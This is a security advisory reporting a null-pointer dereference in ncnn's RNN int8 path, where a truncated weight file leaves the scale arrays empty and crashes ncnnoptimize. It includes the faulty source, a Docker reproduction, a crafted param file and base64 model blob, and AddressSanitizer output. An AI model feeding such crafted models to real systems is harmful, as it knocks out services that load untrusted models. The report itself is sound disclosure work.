RNN Int8 Scale Null Dereference DoS

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/rnn.cpp:195 in rnn_int8
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x5c2139942cf3 bp 0x7ffdd9af35a0 sp 0x7ffdd9af2f00 T0)

Summary

A crafted ncnn model that enables the RNN int8 path but stops the weight file short of the two int8 scale arrays makes ncnnoptimize dereference a null pointer and abort. Unlike every other tensor it loads, RNN::load_model never checks whether the scale Mats came back empty, so loading "succeeds" with no scale storage at all. Shape inference then runs RNN::forward, which hands weight_xc_data_int8_scales.row(0) — a null pointer — to rnn_int8. Any pipeline that optimizes or runs attacker-supplied models dies.

Detail

The untrusted fields are parameter id 8 (int8_scale_term) of an RNN record and the length of the .bin file. RNN::load_model checks .empty() after each of the three mandatory tensors and returns -100 on failure, but the two int8 scale loads guarded by int8_scale_term are fire-and-forget — their results are stored and the function falls through to return 0:

// src/layer/rnn.cpp:32
int RNN::load_model(const ModelBin& mb)
{
    int num_directions = direction == 2 ? 2 : 1;

    int size = weight_data_size / num_directions / num_output;

    // raw weight data
    weight_xc_data = mb.load(size, num_output, num_directions, 0);
    if (weight_xc_data.empty())
        return -100;

    bias_c_data = mb.load(num_output, 1, num_directions, 0);
    if (bias_c_data.empty())
        return -100;

    weight_hc_data = mb.load(num_output, num_output, num_directions, 0);
    if (weight_hc_data.empty())
        return -100;

#if NCNN_INT8
    if (int8_scale_term)
    {
        weight_xc_data_int8_scales = mb.load(num_output, num_directions, 1);
        weight_hc_data_int8_scales = mb.load(num_output, num_directions, 1);
    }
#endif // NCNN_INT8

    return 0;
}

Because load_model reports success, Net::load_model never breaks out of its layer loop, and ncnnoptimize proceeds to ModelWriter::shape_inference() (tools/modelwriter.h:435). RNN::forward sees int8_scale_term set and calls rnn_int8(...) with weight_xc_data_int8_scales.row(0) and weight_hc_data_int8_scales.row(0) (src/layer/rnn.cpp:355). Mat::row() on an empty Mat is (float*)data + 0, i.e. NULL. The int8 kernel indexes it on the very first output unit:

// src/layer/rnn.cpp:190
        for (int q = 0; q < num_output; q++)
        {
            const signed char* weight_xc_int8_ptr = weight_xc_int8.row<const signed char>(q);
            const signed char* weight_hc_int8_ptr = weight_hc_int8.row<const signed char>(q);

            const float descale_xc = 1.f / weight_xc_int8_scales[q];
            const float descale_hc = 1.f / weight_hc_int8_scales[q];

The PoC's parameter file declares RNN rnn 1 1 data out 0=1 1=1 2=0 8=1, so num_output is 1 and a single output unit is enough to reach the read. poc.bin supplies exactly three tagged tensors — an int8 weight_xc blob (tag 0x000D4B38), a float32 bias (tag 0x0002C056) and an int8 weight_hc blob — and then ends. The two subsequent mb.load(num_output, num_directions, 1) calls read past EOF, print ModelBin read weight_data failed 0, and return empty Mats. At q == 0, line 195 evaluates 1.f / ((const float*)NULL)[0].

Reproduce

mkdir -p ncnn-poc-rnn-int8-scale-null-dereference-dos && cd ncnn-poc-rnn-int8-scale-null-dereference-dos

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data 0=1 1=1
RNN rnn 1 1 data out 0=1 1=1 2=0 8=1
PARAM

base64 -d > poc.bin <<'BIN'
OEsNAAEBAQFWwAIAAAAAADhLDQABAQEB
BIN

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0

AddressSanitizer output:

ModelBin read weight_data failed 0
ModelBin read weight_data failed 0
shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x636dbb9accf3 bp 0x7ffcc97f6310 sp 0x7ffcc97f5c70 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x636dbb9accf3 in rnn_int8 /ncnn/src/layer/rnn.cpp:195
    #1 0x636dbb9cc7a1 in ncnn::RNN::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/layer/rnn.cpp:355
    #2 0x636db7ccc70b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
    #3 0x636db7cb4b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #4 0x636db7d149e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #5 0x636db7ba63c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #6 0x636db7c23eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #7 0x75dfc322d1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x75dfc322d28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x636db7ba3624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/src/layer/rnn.cpp:195 in rnn_int8
==1==ABORTING

Credit

Zheng Yu @ DepthFirst